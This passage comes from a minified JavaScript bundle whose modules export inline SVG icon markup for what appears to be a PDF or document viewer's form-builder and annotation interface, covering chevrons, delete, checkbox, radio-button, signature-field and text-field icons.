176.000000)"><path d="M16,2 L8,2 C4.691,2 2,4.691 2,8 L2,21 C2,21.553 2.447,22 3,22 L16,22 C19.309,22 22,19.309 22,16 L22,8 C22,4.691 19.309,2 16,2 Z M20,16 C20,18.206 18.206,20 16,20 L4,20 L4,8 C4,5.794 5.794,4 8,4 L16,4 C18.206,4 20,5.794 20,8 L20,16 Z" fill="#868E96"></path><polygon fill="#BA0000" points="15.292 7.295 12 10.587 8.708 7.295 7.294 8.709 10.586 12.001 7.294 15.293 8.708 16.707 12 13.415 15.292 16.707 16.706 15.293 13.414 12.001 16.706 8.709"></polygon></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 20 20" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / completed/ line</title><desc>Created with Sketch.</desc><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g transform="translate(-213.000000, -178.000000)" fill-rule="nonzero"><g transform="translate(211.000000, 176.000000)"><path d="M16,2 L8,2 C4.691,2 2,4.691 2,8 L2,21 C2,21.553 2.448,22 3,22 L16,22 C19.309,22 22,19.309 22,16 L22,8 C22,4.691 19.309,2 16,2 Z M20,16 C20,18.206 18.206,20 16,20 L4,20 L4,8 C4,5.794 5.794,4 8,4 L16,4 C18.206,4 20,5.794 20,8 L20,16 Z" fill="#868E96"></path><polygon fill="#239700" points="11 13.586 8.707 11.293 7.293 12.707 11 16.414 17.207 10.207 15.793 8.793"></polygon></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>forms / marked</title><g id="forms-/-marked" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="icon-/-forms-/-radio-button" fill="#868E96" fill-rule="nonzero"><path d="M17,2.15 L7,2.15 C4.32141896,2.15 2.15,4.32141896 2.15,7 L2.15,17 C2.15,19.678581 4.32141896,21.85 7,21.85 L17,21.85 C19.678581,21.85 21.85,19.678581 21.85,17 L21.85,7 C21.85,4.32141896 19.678581,2.15 17,2.15 Z M7,3.85 L17,3.85 C18.739697,3.85 20.15,5.26030304 20.15,7 L20.15,17 C20.15,18.739697 18.739697,20.15 17,20.15 L7,20.15 C5.26030304,20.15 3.85,18.739697 3.85,17 L3.85,7 C3.85,5.26030304 5.26030304,3.85 7,3.85 Z" id="Rectangle"></path></g><circle id="Oval" fill="#868E96" cx="12" cy="12" r="5"></circle></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 20 20" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / none / line</title><desc>Created with Sketch.</desc><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g transform="translate(-250.000000, -178.000000)"><g transform="translate(248.000000, 176.000000)"><path d="M16,2 L8,2 C4.691,2 2,4.691 2,8 L2,21 C2,21.553 2.447,22 3,22 L16,22 C19.309,22 22,19.309 22,16 L22,8 C22,4.691 19.309,2 16,2 Z M20,16 C20,18.206 18.206,20 16,20 L4,20 L4,8 C4,5.794 5.794,4 8,4 L16,4 C18.206,4 20,5.794 20,8 L20,16 Z"></path><polygon points="8 11 16 11 16 13 8 13"></polygon></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 20 19" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / rejected / fill</title><desc>Created with Sketch.</desc><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g transform="translate(-89.000000, -179.000000)" fill="#BA0000"><g transform="translate(87.000000, 176.000000)"><path d="M20,3 L17,3 L6.693,3 C5.864,3 5.112,3.521 4.82,4.298 L2.063,11.649 C2.021,11.761 2,11.88 2,12 L2,14 C2,15.103 2.897,16 4,16 L9.612,16 L8.49,19.367 C8.287,19.975 8.389,20.649 8.764,21.169 C9.14,21.689 9.746,22 10.388,22 L12,22 C12.297,22 12.578,21.868 12.769,21.64 L17.469,16 L20,16 C21.103,16 22,15.103 22,14 L22,5 C22,3.897 21.103,3 20,3 Z M11.531,20 L10.386,20 L11.948,15.316 C12.051,15.011 11.999,14.676 11.811,14.415 C11.623,14.154 11.321,14 11,14 L4,14 L4,12.181 L6.693,5 L16,5 L16,14.638 L11.531,20 Z M18,14 L18,5 L20,5 L20.001,14 L18,14 Z"></path></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>forms / unmarked</title><g id="forms-/-unmarked" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="icon-/-forms-/-radio-button" fill="#868E96" fill-rule="nonzero"><path d="M17,2.15 L7,2.15 C4.32141896,2.15 2.15,4.32141896 2.15,7 L2.15,17 C2.15,19.678581 4.32141896,21.85 7,21.85 L17,21.85 C19.678581,21.85 21.85,19.678581 21.85,17 L21.85,7 C21.85,4.32141896 19.678581,2.15 17,2.15 Z M7,3.85 L17,3.85 C18.739697,3.85 20.15,5.26030304 20.15,7 L20.15,17 C20.15,18.739697 18.739697,20.15 17,20.15 L7,20.15 C5.26030304,20.15 3.85,18.739697 3.85,17 L3.85,7 C3.85,5.26030304 5.26030304,3.85 7,3.85 Z" id="Rectangle"></path></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12 19L18 12H13V6H11V12H6L12 19Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 12L12 18L12 13L18 13L18 11L12 11L12 6L5 12Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19 12L12 6V11H6V13H12L12 18L19 12Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M6 18H18V20H6V18ZM11 4V10H6L12 16L18 10H13V4H11Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M13 5V4.382V2H11V4.382V5H8L12 9L16 5H13ZM13 22V19H16L12 15L8 19H11V22H13ZM3 11H6V13H3V11ZM8 11H11V13H8V11ZM13 11H16V13H13V11ZM18 11H21V13H18V11Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"><path d="M6 4H18V6H6V4ZM11 14V20H13V14H18L12 8L6 14H11Z" class="color484848 svgShape"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12 5L6 12L11 12L11 18L13 18L13 12L18 12L12 5Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 12 12" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.66666 1.5H2.33332C1.82916 1.5 1.41666 1.9125 1.41666 2.41667V7C1.41666 7.50417 1.82916 7.91667 2.33332 7.91667H3.70832V10.2542L6.64166 7.91667H9.66666C10.1708 7.91667 10.5833 7.50417 10.5833 7V2.41667C10.5833 1.9125 10.1708 1.5 9.66666 1.5Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - chevron - down - bold</title><path class="cls-1" d="M5.67,8.35a.44.44,0,0,0,.66,0L9.93,4a.3.3,0,0,0,0-.35A.4.4,0,0,0,9.6,3.5H2.4a.4.4,0,0,0-.35.18.3.3,0,0,0,0,.35Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - chevron - down</title><path class="cls-1" d="M9,3.5l-3,3-3-3-1,1,4,4,4-4Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - chevron - left</title><path class="cls-1" d="M7.5,2l-4,4,4,4,1-1-3-3,3-3Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - chevron - right</title><path class="cls-1" d="M4.5,10l4-4-4-4-1,1,3,3-3,3Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - chevron - up</title><path class="cls-1" d="M10,7.5l-4-4-4,4,1,1,3-3,3,3Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - close</title><path class="cls-1" d="M16.22,6.28,12,10.5,7.78,6.28a.4.4,0,0,0-.56,0l-.94.94a.4.4,0,0,0,0,.56L10.5,12,6.28,16.22a.4.4,0,0,0,0,.56l.94.94a.4.4,0,0,0,.56,0L12,13.5l4.22,4.22a.4.4,0,0,0,.56,0l.94-.94a.4.4,0,0,0,0-.56L13.5,12l4.22-4.22a.4.4,0,0,0,0-.56l-.94-.94A.4.4,0,0,0,16.22,6.28Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - colour - none</title><path class="cls-1" d="M4.59,17.64,17.66,4.57a.65.65,0,0,1,.9-.05l.92.92a.65.65,0,0,1-.05.9L6.36,19.41a.62.62,0,0,1-.89,0l-.92-.92A.62.62,0,0,1,4.59,17.64Z"></path><path class="cls-1" d="M12,2A10,10,0,1,0,22,12,10,10,0,0,0,12,2Zm0,17.5A7.5,7.5,0,1,1,19.5,12,7.51,7.51,0,0,1,12,19.5Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="-3 -6 22 18" fill="#868E96" xmlns="http://www.w3.org/2000/svg"><path d="M3 4H13V6H3V4ZM0 0H16V2H0V0ZM6 8H10V10H6V8Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - delete - fill</title><path class="cls-1" d="M18,6H17V4a2,2,0,0,0-2-2H9A2,2,0,0,0,7,4V6H3V8H5V20a2,2,0,0,0,2,2H17a2,2,0,0,0,2-2V8h2V6ZM11,18H9V10h2Zm4,0H13V10h2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - delete - line</title><path class="cls-1" d="M18,6H17V4a2,2,0,0,0-2-2H9A2,2,0,0,0,7,4V6H3V8H5V20a2,2,0,0,0,2,2H17a2,2,0,0,0,2-2V8h2V6ZM9,4h6V6H9ZM7,20V8H17V20Zm6-10h2v8H13ZM9,10h2v8H9Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - panel - detach</title><path class="cls-1" d="M14,4.8V6.4a.4.4,0,0,1-.4.4H2.4A.4.4,0,0,1,2,6.4V4.8a.4.4,0,0,1,.4-.4H13.6A.4.4,0,0,1,14,4.8Zm-.4,4.4H2.4a.4.4,0,0,0-.4.4v1.6a.4.4,0,0,0,.4.4H13.6a.4.4,0,0,0,.4-.4V9.6A.4.4,0,0,0,13.6,9.2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - detach</title><path class="cls-1" d="M4.8,2H6.4a.4.4,0,0,1,.4.4V13.6a.4.4,0,0,1-.4.4H4.8a.4.4,0,0,1-.4-.4V2.4A.4.4,0,0,1,4.8,2Zm4.4.4V13.6a.4.4,0,0,0,.4.4h1.6a.4.4,0,0,0,.4-.4V2.4a.4.4,0,0,0-.4-.4H9.6A.4.4,0,0,0,9.2,2.4Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - download</title><path class="cls-1" d="M11.55,17,5.09,9.66a.6.6,0,0,1,.45-1H8.67V2.6a.6.6,0,0,1,.6-.6h5.46a.6.6,0,0,1,.6.6V8.67h3.13a.6.6,0,0,1,.45,1L12.45,17A.6.6,0,0,1,11.55,17ZM3.11,20.18V21.6a.4.4,0,0,0,.4.4h17a.4.4,0,0,0,.4-.4V20.18a.4.4,0,0,0-.4-.4h-17A.4.4,0,0,0,3.11,20.18Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="-3 -2 14 12" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>Group 29</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="List-Box-3" transform="translate(-545.000000, -716.000000)" fill="#E7E7E7"><g id="Group-33" transform="translate(536.000000, 689.000000)"><g id="Group-32" transform="translate(9.000000, 23.000000)"><g id="Group-29" transform="translate(0.000000, 4.000000)"><circle id="Oval" cx="1" cy="1" r="1"></circle><circle id="Oval" cx="1" cy="4" r="1"></circle><circle id="Oval" cx="1" cy="7" r="1"></circle><circle id="Oval" cx="4" cy="1" r="1"></circle><circle id="Oval" cx="4" cy="4" r="1"></circle><circle id="Oval" cx="4" cy="7" r="1"></circle></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 19 19" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>Shape</title><g id="Symbols---Light" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="icon-/-operation-/-annotations-/-line" transform="translate(-3.000000, -3.000000)" fill="#868E96"><path d="M19.0416689,12.7184193 L20.7833366,10.7017527 L20.7833366,19.3184193 C20.7844507,20.3973559 19.9361575,21.286044 18.8583355,21.335086 L5.10833553,21.335086 C4.56059488,21.3498468 4.02967481,21.1450706 3.63371079,20.7663225 C3.23774678,20.3875743 3.00958797,19.866275 3.0000011,19.3184193 L3.0000011,5.47675266 C2.99888704,4.3978161 3.84718022,3.50912801 4.92500219,3.46008599 L13.6333355,3.46008599 L11.8916689,5.20175266 L4.65000219,5.20175266 L4.65000219,19.5934193 L18.9500022,19.5934193 L18.9500022,12.7184193 L19.0416689,12.7184193 Z M21.3333355,6.57675266 C21.3310126,7.0882508 21.1344108,7.57975545 20.7833355,7.95175266 L11.2500022,17.3934193 L6.94166886,17.3934193 L6.94166886,12.9934193 L16.4750022,3.55175266 C17.244066,2.81608245 18.4559384,2.81608245 19.2250022,3.55175266 L20.7833355,5.11008599 C21.1507066,5.50867428 21.3480365,6.03488736 21.3333355,6.57675266 L21.3333355,6.57675266 Z M16.6583355,9.60175266 L14.6416689,7.58508599 L8.50000219,13.8184193 L8.50000219,15.835086 L10.4250022,15.835086 L16.6583355,9.60175266 Z M19.6833355,6.66841933 L17.6666689,4.65175266 L15.9250022,6.39341933 L17.9416689,8.41008599 L19.6833355,6.66841933 Z" id="Shape"></path></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / tool / form / checkmark / line</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Default-" transform="translate(-585.000000, -46.000000)" fill="#868E96"><g id="Group-5" transform="translate(450.000000, 38.000000)"><g id="Group-4" transform="translate(0.000000, 7.000000)"><g id="icon-/-tool-/-form-/-checkmark-/-line" transform="translate(135.000000, 1.000000)"><path d="M19.19,3 L4.8,3 C3.80588745,3 3,3.80588745 3,4.8 L3,19.2 C3,20.1941125 3.80588745,21 4.8,21 L19.19,21 C20.1818401,20.9945352 20.9845352,20.1918401 20.99,19.2 L20.99,4.8 C20.9845352,3.80815987 20.1818401,3.00546481 19.19,3 Z M4.8,19.2 L4.8,4.8 L19.19,4.8 L19.19,19.2 L4.8,19.2 Z" id="box"></path><polygon id="checkmark" points="11.01 12.99 9 10.99 7.73 12.26 11.13 15.66 16.26 9.5 14.88 8.35"></polygon></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / tool / form / combo box / line</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Default-" transform="translate(-675.000000, -45.000000)" fill="#868E96"><g id="Group-5" transform="translate(450.000000, 38.000000)"><g id="Group-4" transform="translate(0.000000, 7.000000)"><g id="icon-/-tool-/-form-/-combo-box-/-line" transform="translate(225.000000, 0.000000)"><path d="M20,2 L4,2 C3.04293208,2.00550048 2.27,2.78291627 2.27,3.74 L2.27,20.26 C2.27,21.2170837 3.04293208,21.9944995 4,22 L13.56,22 C14.5209755,22 15.3,21.2209755 15.3,20.26 L15.3,10.32 L20,10.32 C20.9609755,10.32 21.74,9.54097546 21.74,8.58 L21.74,3.74 C21.74,2.77902454 20.9609755,2 20,2 Z M13.6,20.28 L4,20.28 L4,10.28 L13.56,10.28 L13.6,20.28 Z M13.6,8.58 L4,8.58 L4,3.76 L13.56,3.76 L13.6,8.58 Z M20.02,8.58 L15.34,8.58 L15.34,3.74 L20,3.74 L20.02,8.58 Z M11.89,14.4 L5.89,14.4 L5.89,12.66 L11.89,12.66 L11.89,14.4 Z M11.89,18.75 L5.89,18.75 L5.89,17 L11.89,17 L11.89,18.75 Z M11.88,7 L6,7 L6,5.3 L11.9,5.3 L11.88,7 Z M17.14,6.13 L16.52,5.26 L19,5.26 L18.37,6.13 L17.78,7 L17.14,6.13 Z" id="Shape"></path></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / tool / form / list box / line</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Default-" transform="translate(-540.000000, -46.000000)" fill="#868E96"><g id="Group-5" transform="translate(450.000000, 38.000000)"><g id="Group-4" transform="translate(0.000000, 7.000000)"><g id="icon-/-tool-/-form-/-list-box-/-line" transform="translate(90.000000, 1.000000)"><path d="M19.2,3.9 L4.8,3.9 C3.80815987,3.90546481 3.00546481,4.70815987 3,5.7 L3,18.3 C3.00546481,19.2918401 3.80815987,20.0945352 4.8,20.1 L19.2,20.1 C20.1918401,20.0945352 20.9945352,19.2918401 21,18.3 L21,5.7 C20.9945352,4.70815987 20.1918401,3.90546481 19.2,3.9 Z M4.8,18.3 L4.8,5.7 L19.2,5.7 L19.2,18.3 L4.8,18.3 Z M10.2,11.1 L17.4,11.1 L17.4,12.9 L10.2,12.9 L10.2,11.1 Z M10.2,7.5 L17.4,7.5 L17.4,9.3 L10.2,9.3 L10.2,7.5 Z M6.6,7.5 L8.4,7.5 L8.4,9.3 L6.6,9.3 L6.6,7.5 Z M10.2,14.7 L17.4,14.7 L17.4,16.5 L10.2,16.5 L10.2,14.7 Z M6.6,11.11 L8.4,11.11 L8.4,12.91 L6.6,12.91 L6.6,11.11 Z M6.6,14.7 L8.4,14.7 L8.4,16.5 L6.6,16.5 L6.6,14.7 Z" id="Shape"></path></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / tool / form / radio button / line</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Default-" transform="translate(-630.000000, -45.000000)" fill="#868E96"><g id="Group-5" transform="translate(450.000000, 38.000000)"><g id="Group-4" transform="translate(0.000000, 7.000000)"><g id="icon-/-tool-/-form-/-radio-button-/-line" transform="translate(180.000000, 0.000000)"><path d="M12,3 C7.02943725,3 3,7.02943725 3,12 C3,16.9705627 7.02943725,21 12,21 C16.9705627,21 21,16.9705627 21,12 C21,7.02943725 16.9705627,3 12,3 Z M12,18.71 C8.29416933,18.71 5.29,15.7058307 5.29,12 C5.29,8.29416933 8.29416933,5.29 12,5.29 C15.7058307,5.29 18.71,8.29416933 18.71,12 L18.71,12 C18.6990169,15.7012718 15.7012718,18.6990169 12,18.71 L12,18.71 Z M15.66,12 C15.66,14.0213622 14.0213622,15.66 12,15.66 C9.97863782,15.66 8.34,14.0213622 8.34,12 C8.34,9.97863782 9.97863782,8.34 12,8.34 L12,8.34 C14.0123305,8.36163983 15.6383602,9.98766948 15.66,12 Z" id="Shape"></path></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / tool / form / signature field</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Default-" transform="translate(-495.000000, -46.000000)" fill="#868E96"><g id="Group-5" transform="translate(450.000000, 38.000000)"><g id="Group-4" transform="translate(0.000000, 7.000000)"><g id="icon-/-tool-/-form-/-signature-field" transform="translate(45.000000, 1.000000)"><rect id="line-field" x="4.16" y="19.33" width="3.95" height="1.84"></rect><rect id="line-field" x="15.47" y="19.33" width="3.97" height="1.84"></rect><rect id="line-field" x="10.37" y="19.33" width="2.85" height="1.84"></rect><path d="M19.3,12.6 C18.8011172,12.4852642 18.2961435,12.7658051 18.13,13.25 C17.94,13.95 17.26,16.02 15.94,16.41 C16.01,16.02 16.14,15.53 16.23,15.19 C16.61,13.75 16.89,12.71 16.02,12.19 C15.6305081,11.9024916 15.1425194,11.7820074 14.6639713,11.8551971 C14.1854232,11.9283868 13.7557535,12.1892188 13.47,12.58 C13.2677271,12.8426752 13.096585,13.1279121 12.96,13.43 C12.5316039,14.4369418 11.8577559,15.3205077 11,16 C10.6861675,16.1561782 10.3479766,16.2576354 10,16.3 C9.63781935,16.2361941 9.29545661,16.0889781 9,15.87 C8.9247858,15.7926735 8.86082555,15.705149 8.81,15.61 C13.7,11 14,6.89 13.91,5.68 C13.972568,4.66130281 13.5588159,3.67125316 12.79,3 C12.5592553,2.84166356 12.2727216,2.78725842 12,2.85 C9.38,3.4 7.76,6.55 6.9,12.78 C6.9,12.84 6.9,12.92 6.9,13.01 C6.74597659,13.6647619 6.69203125,14.3390787 6.74,15.01 C6.5,15.23 6.24,15.45 5.98,15.66 C5.63702664,16.0240749 5.23032934,16.3223196 4.78,16.54 C4.7855838,16.3090848 4.86242608,16.0855436 5,15.9 C5.14271894,15.6990247 5.19676153,15.4483085 5.14951078,15.2063846 C5.10226003,14.9644608 4.95785172,14.7525045 4.75,14.62 C4.31340093,14.3574805 3.74923757,14.4651452 3.44,14.87 C2.70616674,15.8294173 2.7738487,17.1788265 3.6,18.06 C3.89826724,18.3062994 4.27318448,18.4407037 4.66,18.4400027 C5.67361336,18.3025207 6.59829516,17.7884119 7.25,17 L7.43,16.85 L7.65,17.11 C8.24513418,17.6589582 8.99672851,18.008537 9.8,18.11 C10.620381,18.105293 11.4234173,17.8733816 12.12,17.44 C13.0831903,16.7387801 13.8592846,15.8115878 14.38,14.74 C14,16.19 13.8,17.11 14.25,17.74 C14.4499118,18.0242398 14.7640794,18.2068954 15.11,18.24 C17.29,18.48 19.11,16.77 19.96,13.68 C20.0619294,13.2018163 19.7720279,12.727432 19.3,12.6 Z M11.88,4.87 C11.9748135,5.23881339 12.0152403,5.61949948 12,6 C12,6.89 11.71,9.58 8.81,12.94 C9.29,9.69 10.18,5.89 11.88,4.87 Z M21.11,10.63 C21.1553574,11.1765896 20.8605349,11.6949686 20.3675712,11.9353938 C19.8746076,12.175819 19.2846111,12.0889784 18.8818287,11.7167099 C18.4790464,11.3444414 18.3460901,10.7630983 18.5470152,10.2527586 C18.7479402,9.74241896 19.2415363,9.40775489 19.79,9.41 C20.4895514,9.38737528 21.0775571,9.93083513 21.11,10.63 L21.11,10.63 Z" id="signature"></path></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / tool / form / text field</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Default-" transform="translate(-450.000000, -46.000000)" fill="#868E96"><g id="Group-5" transform="translate(450.000000, 38.000000)"><g id="Group-4" transform="translate(0.000000, 7.000000)"><g id="icon-/-tool-/-form-/-text-field" transform="translate(0.000000, 1.000000)"><path d="M4.8,3.12 L6.6,3.12 L6.6,4.92 L4.8,4.92 L4.8,6.72 L3,6.72 L3,4.92 C3.00546481,3.92815987 3.80815987,3.12546481 4.8,3.12 L4.8,3.12 Z M15.6,3.12 L8.4,3.12 L8.4,4.92 L15.6,4.92 L15.6,3.12 Z M4.8,9 L3,9 L3,15.24 L4.8,15.24 L4.8,9 Z M8.4,21 L15.6,21 L15.6,19.2 L8.4,19.2 L8.4,21 Z M4.8,17.4 L3,17.4 L3,19.2 C3.00546481,20.1918401 3.80815987,20.9945352 4.8,21 L6.6,21 L6.6,19.2 L4.8,19.2 L4.8,17.4 Z M19.2,19.2 L17.4,19.2 L17.4,21 L19.2,21 C20.1918401,20.9945352 20.9945352,20.1918401 21,19.2 L21,17.4 L19.2,17.4 L19.2,19.2 Z M19.2,3.11 L17.4,3.11 L17.4,4.91 L19.2,4.91 L19.2,6.71 L21,6.71 L21,4.92 C20.9945352,3.92815987 20.1918401,3.12546481 19.2,3.12 L19.2,3.11 Z M19.2,15.2 L21,15.2 L21,9 L19.2,9 L19.2,15.2 Z M15.8,8 L8.2,8 C8.10312734,8.00633297 8.02185672,8.07541299 8,8.17 L8,9.69 C7.99726713,9.75006018 8.01923348,9.80862219 8.0607914,9.8520691 C8.10234931,9.89551601 8.15987771,9.92006214 8.22,9.92 L8.67,9.92 C8.79702549,9.92 8.9,9.81702549 8.9,9.69 L8.9,9.08 L11.27,9.08 L11.27,15.38 L10.44,15.38 C10.319066,15.3900236 10.2246415,15.4887401 10.22,15.61 L10.22,16.06 L10.22,16.06 C10.2225927,16.1183688 10.248297,16.173309 10.291444,16.2127042 C10.3345911,16.2520993 10.3916366,16.2727133 10.45,16.27 L13.6,16.27 C13.6583476,16.27 13.7143055,16.2468215 13.7555635,16.2055635 C13.7968215,16.1643055 13.82,16.1083476 13.82,16.05 L13.82,15.61 C13.8045398,15.4964187 13.7044578,15.4137422 13.59,15.42 L12.75,15.42 L12.75,9.12 L15.14,9.12 L15.14,9.73 C15.1399379,9.79012229 15.164484,9.84765069 15.2079309,9.8892086 C15.2513778,9.93076652 15.3099398,9.95273287 15.37,9.95 L15.82,9.95 C15.925681,9.93047497 16.0017885,9.83745465 16.0000309,9.73 L16.0000309,8.17 C15.9781433,8.07541299 15.8968727,8.00633297 15.8,8 L15.8,8 Z" id="Shape"></path></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - annotation - fill</title><path class="cls-1" d="M7.27,13.57,14.94,5.9,18.1,9.06l-7.67,7.67H7.27ZM22,5.16,18.84,2,16.43,4.41l3.16,3.16ZM19.4,12.6v7.5H3.8V4.4h7.9l1.9-1.9H4.1A2.2,2.2,0,0,0,2,4.7V19.8A2.24,2.24,0,0,0,4.3,22h15a2.2,2.2,0,0,0,2.1-2.2V10.4l-1.9,2.2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - annotation - line</title><path class="cls-1" d="M19.5,12.6l1.9-2.2v9.4A2.2,2.2,0,0,1,19.3,22H4.3A2.24,2.24,0,0,1,2,19.8V4.7A2.2,2.2,0,0,1,4.1,2.5h9.5L11.7,4.4H3.8V20.1H19.4V12.6ZM22,5.9a2.2,2.2,0,0,1-.6,1.5L11,17.7H6.3V12.9L16.7,2.6a2.17,2.17,0,0,1,3,0l1.7,1.7A2.27,2.27,0,0,1,22,5.9ZM16.9,9.2,14.7,7,8,13.8V16h2.1ZM20.2,6,18,3.8,16.1,5.7l2.2,2.2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - header - annotations</title><path class="cls-1" 